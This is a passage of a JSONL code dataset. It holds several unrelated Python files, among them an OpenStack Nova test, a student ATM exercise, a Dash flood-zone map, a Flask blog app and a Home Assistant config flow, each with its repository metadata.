12, 26, 14, 45, 25, 0),\n \"fake_host-1\", False),\n # nova-conductor is in the same zone and host as nova-sched\n # and is here to make sure /detail filters out duplicates.\n __fake_service(\"nova-conductor\", \"internal\",\n datetime.datetime(2012, 11, 14, 9, 57, 3, 0),\n datetime.datetime(2012, 12, 26, 14, 45, 25, 0),\n \"fake_host-1\", False),\n __fake_service(\"nova-network\", \"internal\",\n datetime.datetime(2012, 11, 16, 7, 25, 46, 0),\n datetime.datetime(2012, 12, 26, 14, 45, 24, 0),\n \"fake_host-2\", False)]\n return objects.ServiceList(objects=svcs)\n\n\nclass AvailabilityZoneApiTestV21(test.NoDBTestCase):\n availability_zone = az_v21\n\n def setUp(self):\n super(AvailabilityZoneApiTestV21, self).setUp()\n availability_zones.reset_cache()\n fakes.stub_out_nw_api(self)\n self.stub_out('nova.availability_zones.set_availability_zones',\n lambda c, services: services)\n self.stub_out('nova.servicegroup.API.service_is_up',\n lambda s, service: service['binary'] != u\"nova-network\")\n self.controller = self.availability_zone.AvailabilityZoneController()\n self.mock_service_get_all = mock.patch.object(\n self.controller.host_api, 'service_get_all',\n side_effect=fake_service_get_all).start()\n self.addCleanup(self.mock_service_get_all.stop)\n self.req = fakes.HTTPRequest.blank('')\n\n def test_filtered_availability_zones(self):\n zones = ['zone1', 'internal']\n expected = [{'zoneName': 'zone1',\n 'zoneState': {'available': True},\n \"hosts\": None}]\n result = self.controller._get_filtered_availability_zones(zones, True)\n self.assertEqual(result, expected)\n\n expected = [{'zoneName': 'zone1',\n 'zoneState': {'available': False},\n \"hosts\": None}]\n result = self.controller._get_filtered_availability_zones(zones,\n False)\n self.assertEqual(result, expected)\n\n def test_availability_zone_index(self):\n resp_dict = self.controller.index(self.req)\n\n self.assertIn('availabilityZoneInfo', resp_dict)\n zones = resp_dict['availabilityZoneInfo']\n self.assertEqual(len(zones), 2)\n self.assertEqual(zones[0]['zoneName'], u'zone-1')\n self.assertTrue(zones[0]['zoneState']['available'])\n self.assertIsNone(zones[0]['hosts'])\n self.assertEqual(zones[1]['zoneName'], u'zone-2')\n self.assertFalse(zones[1]['zoneState']['available'])\n self.assertIsNone(zones[1]['hosts'])\n\n def test_availability_zone_detail(self):\n resp_dict = self.controller.detail(self.req)\n\n self.assertIn('availabilityZoneInfo', resp_dict)\n zones = resp_dict['availabilityZoneInfo']\n self.assertEqual(len(zones), 3)\n timestamp = iso8601.parse_date(\"2012-12-26T14:45:25Z\")\n nova_network_timestamp = iso8601.parse_date(\"2012-12-26T14:45:24Z\")\n expected = [\n {\n 'zoneName': 'zone-1',\n 'zoneState': {'available': True},\n 'hosts': {\n 'fake_host-1': {\n 'nova-compute': {\n 'active': True,\n 'available': True,\n 'updated_at': timestamp\n }\n }\n }\n },\n {\n 'zoneName': 'internal',\n 'zoneState': {'available': True},\n 'hosts': {\n 'fake_host-1': {\n 'nova-sched': {\n 'active': True,\n 'available': True,\n 'updated_at': timestamp\n },\n 'nova-conductor': {\n 'active': True,\n 'available': True,\n 'updated_at': timestamp\n }\n },\n 'fake_host-2': {\n 'nova-network': {\n 'active': True,\n 'available': False,\n 'updated_at': nova_network_timestamp\n }\n }\n }\n },\n {\n 'zoneName': 'zone-2',\n 'zoneState': {'available': False},\n 'hosts': None\n }\n ]\n self.assertEqual(expected, zones)\n # We get both enabled and disabled services per cell (just one in this\n # test case) so we'll query the services table twice.\n self.assertEqual(2, self.mock_service_get_all.call_count,\n self.mock_service_get_all.call_args_list)\n\n @mock.patch.object(availability_zones, 'get_availability_zones',\n return_value=[['nova'], []])\n def test_availability_zone_detail_no_services(self, mock_get_az):\n expected_response = {'availabilityZoneInfo':\n [{'zoneState': {'available': True},\n 'hosts': {},\n 'zoneName': 'nova'}]}\n resp_dict = self.controller.detail(self.req)\n\n self.assertThat(resp_dict,\n matchers.DictMatches(expected_response))\n\n\nclass ServersControllerCreateTestV21(test.TestCase):\n base_url = '/v2/fake/'\n\n def setUp(self):\n \"\"\"Shared implementation for tests below that create instance.\"\"\"\n super(ServersControllerCreateTestV21, self).setUp()\n\n self.instance_cache_num = 0\n # Neutron security groups are tested in test_neutron_security_groups.py\n self.flags(use_neutron=False)\n fakes.stub_out_nw_api(self)\n self._set_up_controller()\n\n def create_db_entry_for_new_instance(*args, **kwargs):\n instance = args[4]\n instance.uuid = FAKE_UUID\n return instance\n\n fake.stub_out_image_service(self)\n self.stub_out('nova.compute.api.API.create_db_entry_for_new_instance',\n create_db_entry_for_new_instance)\n self.req = fakes.HTTPRequest.blank('')\n\n def _set_up_controller(self):\n self.controller = servers_v21.ServersController()\n\n def _create_instance_with_availability_zone(self, zone_name):\n def create(*args, **kwargs):\n self.assertIn('availability_zone', kwargs)\n self.assertEqual('nova', kwargs['availability_zone'])\n return old_create(*args, **kwargs)\n\n old_create = compute_api.API.create\n self.stub_out('nova.compute.api.API.create', create)\n image_href = '76fa36fc-c930-4bf3-8c8a-ea2a2420deb6'\n flavor_ref = ('http://localhost' + self.base_url + 'flavors/3')\n body = {\n 'server': {\n 'name': 'server_test',\n 'imageRef': image_href,\n 'flavorRef': flavor_ref,\n 'metadata': {\n 'hello': 'world',\n 'open': 'stack',\n },\n 'availability_zone': zone_name,\n },\n }\n\n admin_context = context.get_admin_context()\n db.service_create(admin_context, {'host': 'host1_zones',\n 'binary': \"nova-compute\",\n 'topic': 'compute',\n 'report_count': 0})\n agg = objects.Aggregate(admin_context,\n name='agg1',\n uuid=uuidsentinel.agg_uuid,\n metadata={'availability_zone': 'nova'})\n agg.create()\n agg.add_host('host1_zones')\n return self.req, body\n\n def test_create_instance_with_availability_zone(self):\n zone_name = 'nova'\n req, body = self._create_instance_with_availability_zone(zone_name)\n res = self.controller.create(req, body=body).obj\n server = res['server']\n self.assertEqual(fakes.FAKE_UUID, server['id'])\n\n def test_create_instance_with_invalid_availability_zone_too_long(self):\n zone_name = 'a' * 256\n req, body = self._create_instance_with_availability_zone(zone_name)\n self.assertRaises(exception.ValidationError,\n self.controller.create, req, body=body)\n\n def test_create_instance_with_invalid_availability_zone_too_short(self):\n zone_name = ''\n req, body = self._create_instance_with_availability_zone(zone_name)\n self.assertRaises(exception.ValidationError,\n self.controller.create, req, body=body)\n\n def test_create_instance_with_invalid_availability_zone_not_str(self):\n zone_name = 111\n req, body = self._create_instance_with_availability_zone(zone_name)\n self.assertRaises(exception.ValidationError,\n self.controller.create, req, body=body)\n\n def test_create_instance_without_availability_zone(self):\n image_href = '76fa36fc-c930-4bf3-8c8a-ea2a2420deb6'\n flavor_ref = ('http://localhost' + self.base_url + 'flavors/3')\n body = {\n 'server': {\n 'name': 'server_test',\n 'imageRef': image_href,\n 'flavorRef': flavor_ref,\n 'metadata': {\n 'hello': 'world',\n 'open': 'stack',\n },\n },\n }\n\n res = self.controller.create(self.req, body=body).obj\n server = res['server']\n self.assertEqual(fakes.FAKE_UUID, server['id'])\n","repo_name":"starlingx-staging/stx-nova","sub_path":"nova/tests/unit/api/openstack/compute/test_availability_zone.py","file_name":"test_availability_zone.py","file_ext":"py","file_size_in_byte":12664,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"13965023311","text":"#Module 1\r\n\r\nimport os\r\nfrom time import sleep\r\n\r\n# The User Class\r\nclass users:\r\n def __init__(self,name,balance,accNum,History):\r\n self.name = name\r\n self.balance = balance\r\n self.History = History\r\n self.accNum = accNum\r\n\r\n# Declaring the base accounts already stored in the ATM\r\nnathan = users(\"nathan\",100.0,523433,[])\r\njordan = users(\"jordan\",100.0,234323,[])\r\ncollin = users(\"collin\",100.0,876345,[])\r\nvinny = users(\"vinny\",100.0,123536,[])\r\n\r\n# 2 Lists of the class instances themselves and the names stored in those classes as its own list\r\naccounts = [nathan,jordan,collin,vinny]\r\naccountnames = []\r\nfor i in accounts:\r\n accountnames.append(i.name)\r\n\r\n\r\n#WelcomeScreen() The main function of the code where every external function is called in and the main loop\r\n\r\ndef WelcomeScreen(user):\r\n isQuit = False\r\n while isQuit == False:\r\n #sleep(4)\r\n\r\n\r\n print(\"\"\"\r\n ___________________________ ____________________\r\n | Mini Statement Press 'M'| | Balance Press 'B'|\r\n --------------------------- --------------------\r\n \r\n ______________________ _______________\r\n | Withdrawl Press 'W'| | Transfer 'T'|\r\n ---------------------- ---------------\r\n\r\n ____________________ _________________\r\n | Deposit Press 'D'| | Quit Press 'Q'|\r\n -------------------- -----------------\r\n \"\"\")\r\n UserChoice = input(\"\\nWhat Operation Do You Want To Perform: \")\r\n\r\n if UserChoice == 'M' or UserChoice == 'm':\r\n FileorTerm = input(\"\\nDo You Want Your Reciept Printed (Press 'P') or On The Terminal (Press 'T')\")\r\n if FileorTerm == 'P' or FileorTerm == 'p':\r\n\r\n for item in range(len(accountnames)):\r\n\r\n if user == accounts[item].name:\r\n MiniStatementPrint(accounts[item].History)\r\n\r\n if FileorTerm == 'T' or FileorTerm == 't':\r\n\r\n for item in range(len(accountnames)):\r\n\r\n if user == accounts[item].name:\r\n MiniStatement(accounts[item].History)\r\n\r\n elif UserChoice == 'W' or UserChoice == 'w':\r\n withdraw(user)\r\n os.system('cls')\r\n\r\n elif UserChoice == 'D' or UserChoice == 'd':\r\n deposit(user)\r\n os.system('cls')\r\n\r\n elif UserChoice == 'B' or UserChoice == 'b':\r\n for item in range(len(accountnames)):\r\n\r\n if user == accounts[item].name:\r\n Balance(accounts[item])\r\n\r\n elif UserChoice == 'T' or UserChoice == 't':\r\n for item in range(len(accountnames)):\r\n\r\n if user == accounts[item].name:\r\n Transfer(accounts[item])\r\n\r\n elif UserChoice == 'Q' or UserChoice == 'q':\r\n for item in range(len(accountnames)):\r\n\r\n if user == accounts[item].name:\r\n PrintReciept(accounts[item].name, accounts[item].accNum, accounts[item].balance)\r\n\r\n print(\"\\nQuitting from the terminal.....\")\r\n isQuit = True\r\n\r\n else:\r\n print(\"Wrong Input\")\r\n \r\n\r\n# Prints a Ministatement for the user displaying the previous deposits and withdrawls done in the program\r\n\r\ndef MiniStatement(list1):\r\n\r\n print(f\"\"\"\r\n Mini Statement \r\n (UP TO 8 ACCOUNT ENTERIES SINCE LAST STATEMENT)\r\n\r\n 14 OCTOBER CHQ 10.98 DR\r\n\r\n 15 OCTOBER CHQ 14.34 DR\r\n \"\"\")\r\n\r\n for i in range (len(list1)):\r\n print(\" \", list1[i])\r\n print(\" \")\r\n\r\n# Prints a Ministatement for the user displaying the previous deposits and withdrawls done in the program by using file handiling and creates an actual text file\r\n\r\ndef MiniStatementPrint(list1):\r\n\r\n f = open(\"Reciept.txt\", \"w\")\r\n\r\n f.write(f\"\"\"\r\n Mini Statement \r\n (UP TO 8 ACCOUNT ENTERIES SINCE LAST STATEMENT)\r\n\r\n 14 OCTOBER CHQ 10.98 DR\r\n\r\n 15 OCTOBER CHQ 14.34 DR\r\n \"\"\")\r\n\r\n f.close()\r\n\r\n for i in range (len(list1)):\r\n f = open(\"Reciept.txt\", \"a\")\r\n\r\n f.write(\"\\n \" + list1[i])\r\n f.write(\"\\n \")\r\n\r\n f.close()\r\n\r\n f = open(\"Reciept.txt\", \"r\")\r\n \r\n print(f.read())\r\n\r\n# Deposit adds funds as a float to the currents users balance var from the users class\r\n\r\ndef deposit(name):\r\n prompt = float(input(\"\\nEnter how much you would like to deposit: \"))\r\n \r\n for item in range(len(accountnames)):\r\n if name == accounts[item].name:\r\n\r\n accounts[item].balance += prompt\r\n\r\n accounts[item].History.append(f\"17 OCTOBER DEP {prompt} DR\")\r\n\r\n print(\"\\nYour new balance is:\" ,accounts[item].balance)\r\n\r\n# Withdraw takes funds as a float to the currents users balance var from the users class if the input is larger than the users current balance than an error message will print\r\n\r\n \r\ndef withdraw(name):\r\n prompt = float(input(\"\\nEnter how much you would like to withdraw: \"))\r\n\r\n for item in range(len(accountnames)):\r\n\r\n if name == accounts[item].name:\r\n\r\n if prompt > accounts[item].balance:\r\n print(\"ERROR ATTEMPTED TO WITHDRAW MORE THAN CURRENT BALANCE\")\r\n\r\n else:\r\n accounts[item].balance -= prompt\r\n\r\n accounts[item].History.append(f\"17 OCTOBER WIT {prompt} DR\")\r\n\r\n print(\"\\nYour new balance is:\" ,accounts[item].balance)\r\n\r\n\r\n#A reciept that is printed when the Quit option is chosen on the welcome screen\r\n\r\ndef PrintReciept(name, accnum, bal):\r\n reciept = open(\"receipt.txt\", \"w\")\r\n\r\n reciept.write(\"\"\"\r\n RECIEPT\r\n -------\r\n \"\"\")\r\n\r\n reciept = open(\"receipt.txt\",\"a\")\r\n\r\n reciept.write(f\"\"\"\r\n NAME: {name}\r\n ACCOUNT NUMBER: {accnum} \r\n CURRENT BALANCE: ${str(bal)} \r\n \"\"\")\r\n\r\n reciept = open(\"receipt.txt\", \"r\")\r\n\r\n print(reciept.read())\r\n\r\n reciept.close()\r\n\r\n# Displays the users balance variable from the users class (Is called in the WelcomeScreen function when 'b' is inputed)\r\n\r\ndef Balance(user):\r\n print(f\"\\nCurrent Balance is {user.balance}\")\r\n\r\n# Transfer an inputed fund from the current users balance to another chosen users balance\r\n\r\ndef Transfer(user):\r\n print(accountnames)\r\n\r\n x = input(\"\\nWho Would You Like to Transfer Funds To: \")\r\n flag = False\r\n\r\n for item in range(len(accountnames)):\r\n\r\n if x == accounts[item].name:\r\n FundsToSend = float(input(\"\\nHow Much Would You Like To Transfer: \"))\r\n\r\n user.balance -= FundsToSend\r\n\r\n accounts[item].balance += FundsToSend\r\n print(f\"You Have Sent ${FundsToSend}\")\r\n flag = True\r\n\r\n if flag == False:\r\n print(\"\\nERROR USER DOES NOT EXIST\")\r\n\r\n","repo_name":"JamesBradleyBigCreative/Classroom_Exercises","sub_path":"Roni Mujku/PythonApplication17/PythonApplication17/module1.py","file_name":"module1.py","file_ext":"py","file_size_in_byte":7009,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"27263670547","text":"# coding: utf8\n#!/usr/bin/python3\n\nimport flask\nimport dash\nimport dash_html_components as html\nimport dash_core_components as dcc\nfrom dash.dependencies import Input, Output, State\nimport dash_leaflet as dl\nimport json\n\n\n############\n# Paramètres\n\ninput_data = {\n 'qpv': {\n 'path': './data/qpv.geojson',\n 'color': 'yellow',\n 'prefix': '[QPV] ',\n 'opacity': 0.8\n },\n 'cucs': {\n 'path': './data/cucs.geojson',\n 'color': 'purple',\n 'prefix': '[CUCS] ',\n 'opacity': 0.8\n },\n 'opah': {\n 'path': './data/opah.geojson',\n 'color': 'green',\n 'prefix': '[OPAH] ',\n 'opacity': 0.2\n },\n 'pig': {\n 'path': './data/pig.geojson',\n 'color': 'blue',\n 'prefix': '[PIG] ',\n 'opacity': 0.2\n }\n}\n\nfond = {\n \"positron\": \"https://cartodb-basemaps-c.global.ssl.fastly.net/light_all/{z}/{x}/{y}.png\",\n \"ortho\": \"https://wxs.ign.fr/choisirgeoportail/geoportail/wmts?&REQUEST=GetTile&SERVICE=WMTS&VERSION=1.0.0&STYLE=normal&TILEMATRIXSET=PM&FORMAT=image/jpeg&LAYER=ORTHOIMAGERY.ORTHOPHOTOS&TILEMATRIX={z}&TILEROW={y}&TILECOL={x}\",\n \"scan-express\": \"https://wxs.ign.fr/choisirgeoportail/geoportail/wmts?&REQUEST=GetTile&SERVICE=WMTS&VERSION=1.0.0&STYLE=normal&TILEMATRIXSET=PM&FORMAT=image/jpeg&LAYER=GEOGRAPHICALGRIDSYSTEMS.MAPS.SCAN-EXPRESS.STANDARD&TILEMATRIX={z}&TILEROW={y}&TILECOL={x}\",\n 'opacity': 0.8\n}\n\nwms = {\n \"eaipsm\": {\n 'url': \"https://mapsref.brgm.fr/wxs/georisques/risques\", \n 'layers': 'EAIP_SM',\n 'format': 'image/png',\n 'transparent': True,\n 'opacity': 0.4\n },\n \"eaipce\": {\n 'url': \"https://mapsref.brgm.fr/wxs/georisques/risques\", \n 'layers': 'EAIP_CE',\n 'format': 'image/png',\n 'transparent': True,\n 'opacity': 0.4\n }\n}\n\n\n###########\n# Fonctions\n\ndef compute_geojson(gjson,commune,quartier):\n geojson = json.load(open(gjson[\"path\"],encoding='utf8'))\n data = [\n dl.Polygon(\n positions=[list(reversed(q)) for p in feat['geometry']['coordinates'] for q in p],\n children=[\n dl.Tooltip(gjson[\"prefix\"] + str(feat['properties'][commune]) + \" : \" + str(feat['properties'][quartier])),\n dl.Popup([html.P(k + \" : \" + str(v)) for k,v in feat[\"properties\"].items()])\n ], color=gjson[\"color\"], weight=0.1, fillOpacity=gjson[\"opacity\"], stroke=True\n ) for feat in geojson['features']\n ]\n\n return data\n\n\n#########\n### Main\n#########\n\nserver = flask.Flask(__name__)\napp = dash.Dash(__name__, server=server)\n\nqpv_json = compute_geojson(input_data[\"qpv\"],\"COMMUNE_QP\",\"NOM_QP\")\ncucs_json = compute_geojson(input_data[\"cucs\"],\"COMMUNES\",\"QUARTIER\")\nopah_json = compute_geojson(input_data[\"opah\"],\"OPERATEUR\",\"NOM\")\npig_json = compute_geojson(input_data[\"pig\"],\"OPERATEUR\",\"NOM\")\n\n\napp.layout = html.Div([\n dl.Map(id='map',center=[49.3, 0], zoom=8, children=[\n dl.TileLayer(id='map_tile',url=fond[\"positron\"],opacity=fond[\"opacity\"]),\n dl.WMSTileLayer(id='eaipce',url='',layers=''),\n dl.WMSTileLayer(id='eaipsm',url='',layers=''),\n dl.LayerGroup(id='opah',children=opah_json),\n dl.LayerGroup(id='pig',children=pig_json),\n dl.LayerGroup(id='cucs',children=cucs_json),\n dl.LayerGroup(id='qpv',children=qpv_json)\n ],style={'width': '100%', 'height': '100%', 'position': 'absolute','opacity':0.9}),\n html.Div([\n html.Div([\n html.P('Fonds carto : '),\n dcc.RadioItems(id='fond_carto',\n options=[{'label': 'Positron', 'value': 'positron'},{'label': 'Ortho', 'value': 'ortho'}, {'label': 'Scan Express', 'value': 'scan-express'} ],\n value='positron', labelStyle={'display': 'block'}\n )\n ]),\n html.Div([\n html.P('Inondations : '),\n dcc.Checklist(\n id='inondation', options=[{'label': 'EAIP sm', 'value': 'EAIPsm'},{'label': 'EAIP ce', 'value': 'EAIPce'}],\n value=[], labelStyle={'display': 'block'}\n ),\n ]),\n html.Div([\n html.P('Ville : '),\n dcc.Checklist(\n id='donnees', options=[{'label': 'CUCS', 'value': 'CUCS'},{'label': 'QPV', 'value': 'QPV'},{'label': 'OPAH', 'value': 'OPAH'},{'label': 'PIG', 'value': 'PIG'}],\n value=['QPV', 'CUCS'], labelStyle={'display': 'block'}\n ),\n ]),\n ],\n style={'width': 'auto', 'border': '1px solid', 'padding': '7px','background-color':'white', 'border-radius':'25px','top':10,'right':10,'display': 'inline-block','position':'absolute'})\n])\n\n\n##########\n# Callback\n\n@app.callback(\n [Output('map','children')],\n [Input('inondation','value'),Input('donnees','value'),Input('fond_carto','value')]\n)\ndef showLayer(inondation,donnees,fond_carto):\n return [\n [dl.TileLayer(id='map_tile',url=fond[fond_carto],opacity=fond[\"opacity\"]),\n dl.WMSTileLayer(id='eaipce',url=wms[\"eaipce\"][\"url\"],layers=wms[\"eaipce\"][\"layers\"],format=wms[\"eaipce\"][\"format\"],transparent=wms[\"eaipce\"][\"transparent\"],opacity=wms[\"eaipce\"][\"opacity\"]) if \"EAIPce\" in inondation else '',\n dl.WMSTileLayer(id='eaipsm',url=wms[\"eaipsm\"][\"url\"],layers=wms[\"eaipsm\"][\"layers\"],format=wms[\"eaipsm\"][\"format\"],transparent=wms[\"eaipsm\"][\"transparent\"],opacity=wms[\"eaipsm\"][\"opacity\"]) if \"EAIPsm\" in inondation else '',\n dl.LayerGroup(id='opah',children=opah_json) if \"OPAH\" in donnees else '',\n dl.LayerGroup(id='pig',children=pig_json) if \"PIG\" in donnees else '',\n dl.LayerGroup(id='cucs',children=cucs_json) if \"CUCS\" in donnees else '',\n dl.LayerGroup(id='qpv',children=qpv_json) if \"QPV\" in donnees else '']\n ]\n\n\nif __name__ == '__main__':\n app.run_server(debug=True,use_reloader=False,dev_tools_hot_reload=False)\n\n","repo_name":"LesSamourais/katana","sub_path":"Python/Dash/EAIP_QPV/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32910776791","text":"import random\nfrom datetime import datetime\n\nimport dependency_injector as di\nimport config as cfg\nimport blog.helpers as helpers\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom flask import Flask, g, current_app\nfrom blog import routes as blog_blp\nfrom blog import views as blog\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, scoped_session\nfrom blog.models import *\nfrom flask_wtf import CsrfProtect\nfrom flask_login import LoginManager\nfrom logging import Logger, INFO, DEBUG, handlers, ERROR, Formatter\nfrom flask_mail import Mail\nfrom flask_sqlalchemy import _EngineDebuggingSignalEvents\nfrom blog.filters import format_date, show_time_passed\n\n\nclass BlogApp:\n\n def __init__(self):\n self.app = Flask(\"blog\")\n self._logger = None\n self.engine = create_engine(cfg.SQLALCHEMY_DATABASE_URI)\n self.mail_manager = Mail()\n self.login_manager = LoginManager()\n self.csrf = CsrfProtect()\n self.session = scoped_session(sessionmaker(self.engine))\n\n def run(self, host=None, port=None, debug=None, **kwargs):\n \"\"\"Runs application\"\"\"\n self.app.run()\n\n @property\n def logger(self):\n if not self._logger:\n log_handlers = []\n\n # mail handler initialization and configuration\n handlers.SMTPHandler.emit = helpers.emit\n mail_handler = handlers.SMTPHandler(\n mailhost=(cfg.LOG_MAILSERVER, cfg.LOG_MAILPORT),\n fromaddr=cfg.LOG_MAIL_USERNAME,\n toaddrs=cfg.LOG_ADMIN_MAIL,\n subject=cfg.LOG_SUBJECT,\n credentials=(cfg.LOG_MAIL_USERNAME,\n cfg.LOG_MAIL_PASSWORD),\n secure=True,\n timeout=1\n )\n mail_handler.setLevel(ERROR)\n mail_fmt = Formatter(\"\"\"\n Message type: %(levelname)s\n Location: %(pathname)s:%(lineno)d\n Module: %(module)s\n Function: %(funcName)s\n Time: %(asctime)s\n Message: %(message)s\n \"\"\")\n mail_handler.setFormatter(mail_fmt)\n log_handlers.append(mail_handler)\n\n # file handler init and configuration\n file_handler = handlers.RotatingFileHandler(filename=cfg.FILENAME,\n maxBytes=cfg.FILE_SIZE,\n backupCount=cfg.MAX_FILE_COUNT)\n file_fmt = Formatter(\"%(asctime)s %(levelname)s: %(pathname)s:%(lineno)d %(message)s\")\n file_handler.setFormatter(file_fmt)\n file_handler.setLevel(INFO)\n log_handlers.append(file_handler)\n\n self._logger = di.Singleton(Logger, level=INFO,\n *[di.Method(\"addHandler\", handler)\n for handler in log_handlers],\n name=\"Logger\")\n\n return self._logger\n\n def configure_app(self):\n\n # extensions\n # csrf = CsrfProtect()\n # login_manager = LoginManager()\n mail_manager = Mail()\n\n # flask app configuration\n self.app.config.from_object(cfg)\n\n # extensions\n\n # csrf.init_app(self.app)\n self.login_manager.init_app(self.app)\n self.login_manager.login_view = blog.BlogView.login\n\n @self.login_manager.user_loader\n def load_user(user_id):\n return self.session.query(User).get(int(user_id))\n\n # blueprint registering\n self.app.register_blueprint(blog_blp.blog, url_prefix=\"/blog\")\n\n # setting up filters\n self.app.jinja_env.filters['datetime'] = format_date\n self.app.jinja_env.filters['passed'] = show_time_passed\n # debug toolbar\n if cfg.DEBUG_TOOLBAR:\n debug_toolbar = DebugToolbarExtension()\n _EngineDebuggingSignalEvents(self.engine, self.app.name).register()\n\n debug_toolbar.init_app(self.app)\n\n # providers\n session = di.Singleton(scoped_session, session_factory=sessionmaker(self.engine))\n mail = di.Singleton(Mail, di.Method(\"init_app\", self.app))\n login = di.Singleton(LoginManager, di.Method(\"init_app\", self.app))\n\n # blueprints dependencies\n blog_blp.DICatalog.logger.override(self.logger)\n blog_blp.DICatalog.scoped_session.override(session)\n blog_blp.DICatalog.mail_manager.override(mail)\n\n # errors, before, after\n self.app.teardown_appcontext = blog.teardown_app_context\n\n # current_app._get_current_object()\n\n def fill_db(self):\n self.reset_db()\n name_list = [\"Joe\", \"Chandler\", \"Foebe\", \"Ross\", \"Monica\", \"Rachel\",\n \"Jennis\", \"Richard\", \"Mike\", \"Emma\", \"Ursula\", \"Sting\",\n \"Brad\", \"Frank\", \"Lora\", \"Emily\", \"Toby\", \"Paulo\", \"Ben\",\n \"Harper\", \"Charlie\", \"Evelin\", \"Bertha\", \"Jake\", \"Melnick\"]\n post_list = [\"How are you doing?\", \"Ive lost it in my tracktor\", \"First, i moist the mother land\",\n \"I know!\", \"Noooooooooooooo\", \"OMYGAD\", \"I love my moustache\", \"Will you marry me, crazy woman?\",\n \"My sister will make me a baby \\o/\", \"You don`t have to put on the red light\", \"life is too short\",\n \"Va fan culo\", \"With the love in my hearth and the song in my mouth\", \"This is not a support group\",\n \"Typical!\", \"I want more pizza\", \"My ass is still in a pretty good shape\",\n \"Who the hell is Chandler?\"]\n\n print(\"filling db with test data...\")\n print(\"-\" * 20)\n for name in name_list:\n password = User.hash_pw(name.lower())\n user = User(name.lower(), password, (name+'@example.com').lower())\n user.confirmed = True\n user.confirmed_on = datetime.now()\n for i in range(10):\n body = post_list[random.randint(0, len(post_list) - 1)]\n post = Post(body)\n user.posts.append(post)\n self.session.add(user)\n self.session.commit()\n print(\"data saved\")\n print(\"end...\")\n print(\"-\" * 20)\n\n def reset_db(self):\n print(\"dropping tables...\")\n Base.metadata.drop_all(self.engine)\n print(\"done dropping\")\n print(\"-\" * 20)\n print(\"creating tables...\")\n Base.metadata.create_all(self.engine)\n print(\"done creating\")\n print(\"-\" * 20)\n\napp = BlogApp()\napp.configure_app()\n# app.fill_db()\napp.run()\n\n\n","repo_name":"kestkest/blog","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11441458992","text":"import tensorflow as tf\n\n# Load the HDF5 model\nh5_model_path = 'cats_model.h5' # Replace with the path to your HDF5 model file\nloaded_model = tf.keras.models.load_model(h5_model_path)\n\n# Convert the model to TFLite\nconverter = tf.lite.TFLiteConverter.from_keras_model(loaded_model)\ntflite_model = converter.convert()\n\n# Save the TFLite model to a file\ntflite_model_path = 'cats_model.tflite'\nwith open(tflite_model_path, 'wb') as f:\n f.write(tflite_model)\n\nprint(f'TFLite model converted from HDF5 and saved to: {tflite_model_path}')\n","repo_name":"deepak12345678900/Deep_learning","sub_path":"model_convert.py","file_name":"model_convert.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18504207321","text":"'''a=1;b=2;c=3\r\nif(a>b):\r\n print('a is less than b')\r\n if(c>b): #(3>2)\r\n print('c is greater than b')\r\n else:\r\n print('b is less than c')\r\nelse:\r\n print('b is greter than a')'''\r\n\r\n\r\na=int(input('emter vlaue of a : '))\r\nb=int(input('emter value of b : '))\r\nc=int(input('emter value of c : '))\r\nif(ac):\r\n print('a is greater')\r\n else:\r\n print('C is grrater')\r\nif(b>c):\r\n print('b is large')\r\nelse:\r\n print('c is large') \r\n\r\n\r\n\r\n","repo_name":"akashpagi/python-practice","sub_path":"work/elseifnested.py","file_name":"elseifnested.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"9653184651","text":"def reverseKGroup( head, k):\n \"\"\"\n :type head: ListNode\n :type k: int\n :rtype: ListNode\n \"\"\"\n curnode = head\n\n def reversenode(curhead):\n tail = head\n front = head.next\n tail.next = None\n while front:\n curnode = front\n front = front.next\n curnode.next = tail\n tail = curnode\n return tail, head\n\n def dfs(curnode):\n cur = curnode\n count = 1\n precur = cur\n while cur:\n precur = cur\n cur = cur.next\n if not cur:\n break\n count += 1\n if count == k:\n break\n if count < k:\n return curnode, precur\n nextnode = cur.next\n cur.next = None\n\n h, t = reversenode(curnode)\n if nextnode:\n h1, t1 = dfs(nextnode)\n t.next = h1\n return h, t1\n else:\n return h, t\n\n newhead, newtail = dfs(curnode)\n return newhead","repo_name":"xfx1993/goto1000","sub_path":"test6.py","file_name":"test6.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71190899366","text":"from .integration import get_config_entry\nfrom homeassistant import config_entries\nimport homeassistant.helpers.config_validation as cv\nfrom .constants import DOMAIN\n\n\nimport logging\nimport voluptuous as vol\nfrom datetime import datetime\n\n_LOGGER = logging.getLogger(__name__)\n\ndef _validate(user_input):\n errors = {}\n return errors\n\ndef _gen_init_schema(data: dict):\n types = {vol.Required(x[0], default=data.get(x[0], True)): bool for x in entity_types}\n return vol.Schema({\n vol.Required(\"name\", default=data.get(\"name\")): cv.string,\n **types,\n })\n\ndef _gen_options_schema(data: dict):\n types = {vol.Required(x[0], default=data.get(x[0], False)): bool for x in entity_types}\n return vol.Schema({\n **types,\n })\n\n\nclass ConfigFlowHandler(config_entries.ConfigFlow, domain=DOMAIN):\n\n # def async_get_options_flow(config_entry):\n # return OptionsFlowHandler(config_entry)\n\n async def async_step_user(self, user_input):\n if get_config_entry(self.hass, None):\n return self.async_abort(reason=\"already_registered\")\n return self.async_create_entry(\n title=\"Super Groups\",\n options={},\n data={},\n )\n\nclass OptionsFlowHandler(config_entries.OptionsFlow):\n\n def __init__(self, config_entry):\n self.config_entry = config_entry\n\n async def async_step_init(self, user_input=None):\n _LOGGER.debug(f\"OptionsFlowHandler: {user_input} {self.config_entry}\")\n return self.async_create_entry(title=\"\", 